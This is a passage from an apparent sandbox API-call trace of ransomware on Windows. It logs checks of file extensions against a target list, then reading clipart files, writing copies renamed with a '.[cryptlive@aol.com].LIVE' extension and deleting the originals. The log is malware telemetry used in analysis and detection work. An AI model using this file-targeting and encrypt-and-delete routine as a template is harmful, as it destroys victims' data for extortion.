[0148.131] lstrlenW (lpString=".pdf") returned 4 [0148.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString=".xls") returned 4 [0148.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.131] lstrlenW (lpString=".xlsx") returned 5 [0148.131] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.131] lstrlenW (lpString=".ppt") returned 4 [0148.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.131] lstrlenW (lpString=".zip") returned 4 [0148.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.131] lstrlenW (lpString=".rar") returned 4 [0148.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString=".bz2") returned 4 [0148.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString=".7z") returned 3 [0148.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.131] lstrlenW (lpString=".dbf") returned 4 [0148.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.131] lstrlenW (lpString=".1cd") returned 4 [0148.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.132] lstrlenW (lpString=".jpg") returned 4 [0148.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.132] lstrlenW (lpString=".doc") returned 4 [0148.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString=".docx") returned 5 [0148.132] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.132] lstrlenW (lpString=".pdf") returned 4 [0148.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString=".xls") returned 4 [0148.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.132] lstrlenW (lpString=".xlsx") returned 5 [0148.132] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.132] lstrlenW (lpString=".ppt") returned 4 [0148.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.132] lstrlenW (lpString=".zip") returned 4 [0148.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.132] lstrlenW (lpString=".rar") returned 4 [0148.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString=".bz2") returned 4 [0148.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString=".7z") returned 3 [0148.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.132] lstrlenW (lpString=".dbf") returned 4 [0148.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.132] lstrlenW (lpString=".1cd") returned 4 [0148.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF") returned 63 [0148.133] lstrlenW (lpString=".jpg") returned 4 [0148.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.133] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.133] lstrlenW (lpString="J0093905.WMF") returned 12 [0148.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0148.213] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=42050) returned 1 [0148.213] CloseHandle (hObject=0x1f8) returned 1 [0148.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0148.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.252] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.252] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0148.253] GetLastError () returned 0x0 [0148.253] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xa442, lpOverlapped=0x0) returned 1 [0148.295] WriteFile (in: hFile=0x394, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xa450, lpOverlapped=0x0) returned 1 [0148.296] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.296] WriteFile (in: hFile=0x394, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.296] SetEndOfFile (hFile=0x394) returned 1 [0148.296] CloseHandle (hObject=0x394) returned 1 [0148.296] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.297] SetEndOfFile (hFile=0x380) returned 1 [0148.299] CloseHandle (hObject=0x380) returned 1 [0148.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0148.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.300] lstrlenW (lpString=".doc") returned 4 [0148.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.300] lstrlenW (lpString=".docx") returned 5 [0148.300] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0148.300] lstrlenW (lpString=".pdf") returned 4 [0148.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.300] lstrlenW (lpString=".xls") returned 4 [0148.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.301] lstrlenW (lpString=".xlsx") returned 5 [0148.301] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0148.301] lstrlenW (lpString=".ppt") returned 4 [0148.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.301] lstrlenW (lpString=".zip") returned 4 [0148.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.301] lstrlenW (lpString=".rar") returned 4 [0148.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.301] lstrlenW (lpString=".bz2") returned 4 [0148.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.301] lstrlenW (lpString=".7z") returned 3 [0148.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.301] lstrlenW (lpString=".dbf") returned 4 [0148.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.301] lstrlenW (lpString=".1cd") returned 4 [0148.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.301] lstrlenW (lpString=".jpg") returned 4 [0148.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.301] lstrlenW (lpString=".doc") returned 4 [0148.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.301] lstrlenW (lpString=".docx") returned 5 [0148.301] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0148.301] lstrlenW (lpString=".pdf") returned 4 [0148.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.301] lstrlenW (lpString=".xls") returned 4 [0148.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.301] lstrlenW (lpString=".xlsx") returned 5 [0148.301] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0148.301] lstrlenW (lpString=".ppt") returned 4 [0148.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.302] lstrlenW (lpString=".zip") returned 4 [0148.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.302] lstrlenW (lpString=".rar") returned 4 [0148.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.302] lstrlenW (lpString=".bz2") returned 4 [0148.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.302] lstrlenW (lpString=".7z") returned 3 [0148.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.302] lstrlenW (lpString=".dbf") returned 4 [0148.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.302] lstrlenW (lpString=".1cd") returned 4 [0148.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0148.302] lstrlenW (lpString=".jpg") returned 4 [0148.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.302] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.302] lstrlenW (lpString="J0099149.WMF") returned 12 [0148.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.326] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=73214) returned 1 [0148.326] CloseHandle (hObject=0x380) returned 1 [0148.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 0x20 [0148.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.327] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.327] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0148.327] GetLastError () returned 0x0 [0148.328] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x11dfe, lpOverlapped=0x0) returned 1 [0148.345] WriteFile (in: hFile=0x394, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x11e00, lpOverlapped=0x0) returned 1 [0148.347] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.347] WriteFile (in: hFile=0x394, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.347] SetEndOfFile (hFile=0x394) returned 1 [0148.348] CloseHandle (hObject=0x394) returned 1 [0148.348] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.348] SetEndOfFile (hFile=0x380) returned 1 [0148.517] CloseHandle (hObject=0x380) returned 1 [0148.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0148.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.638] lstrlenW (lpString=".doc") returned 4 [0148.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.638] lstrlenW (lpString=".docx") returned 5 [0148.638] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.638] lstrlenW (lpString=".pdf") returned 4 [0148.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.638] lstrlenW (lpString=".xls") returned 4 [0148.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.638] lstrlenW (lpString=".xlsx") returned 5 [0148.638] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.638] lstrlenW (lpString=".ppt") returned 4 [0148.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.638] lstrlenW (lpString=".zip") returned 4 [0148.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.638] lstrlenW (lpString=".rar") returned 4 [0148.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.638] lstrlenW (lpString=".bz2") returned 4 [0148.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.638] lstrlenW (lpString=".7z") returned 3 [0148.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.638] lstrlenW (lpString=".dbf") returned 4 [0148.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.638] lstrlenW (lpString=".1cd") returned 4 [0148.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.638] lstrlenW (lpString=".jpg") returned 4 [0148.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.639] lstrlenW (lpString=".doc") returned 4 [0148.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.639] lstrlenW (lpString=".docx") returned 5 [0148.639] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0148.639] lstrlenW (lpString=".pdf") returned 4 [0148.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.639] lstrlenW (lpString=".xls") returned 4 [0148.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.639] lstrlenW (lpString=".xlsx") returned 5 [0148.639] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0148.639] lstrlenW (lpString=".ppt") returned 4 [0148.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.639] lstrlenW (lpString=".zip") returned 4 [0148.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.639] lstrlenW (lpString=".rar") returned 4 [0148.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.639] lstrlenW (lpString=".bz2") returned 4 [0148.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.639] lstrlenW (lpString=".7z") returned 3 [0148.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.639] lstrlenW (lpString=".dbf") returned 4 [0148.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.639] lstrlenW (lpString=".1cd") returned 4 [0148.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0148.639] lstrlenW (lpString=".jpg") returned 4 [0148.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.670] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.670] lstrlenW (lpString="J0099157.JPG") returned 12 [0148.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0148.675] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=9671) returned 1 [0148.675] CloseHandle (hObject=0x3b0) returned 1 [0148.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0148.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0148.676] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.676] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0148.676] GetLastError () returned 0x0 [0148.676] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x25c7, lpOverlapped=0x0) returned 1 [0148.700] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x25d0, lpOverlapped=0x0) returned 1 [0148.701] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.702] WriteFile (in: hFile=0x380, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.702] SetEndOfFile (hFile=0x380) returned 1 [0148.702] CloseHandle (hObject=0x380) returned 1 [0148.702] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.702] SetEndOfFile (hFile=0x3b0) returned 1 [0148.707] CloseHandle (hObject=0x3b0) returned 1 [0148.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0148.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.728] lstrlenW (lpString=".doc") returned 4 [0148.728] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.729] lstrlenW (lpString=".docx") returned 5 [0148.729] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0148.729] lstrlenW (lpString=".pdf") returned 4 [0148.729] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.729] lstrlenW (lpString=".xls") returned 4 [0148.729] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.729] lstrlenW (lpString=".xlsx") returned 5 [0148.729] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0148.729] lstrlenW (lpString=".ppt") returned 4 [0148.729] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0148.729] lstrlenW (lpString=".zip") returned 4 [0148.729] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.729] lstrlenW (lpString=".rar") returned 4 [0148.729] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.729] lstrlenW (lpString=".bz2") returned 4 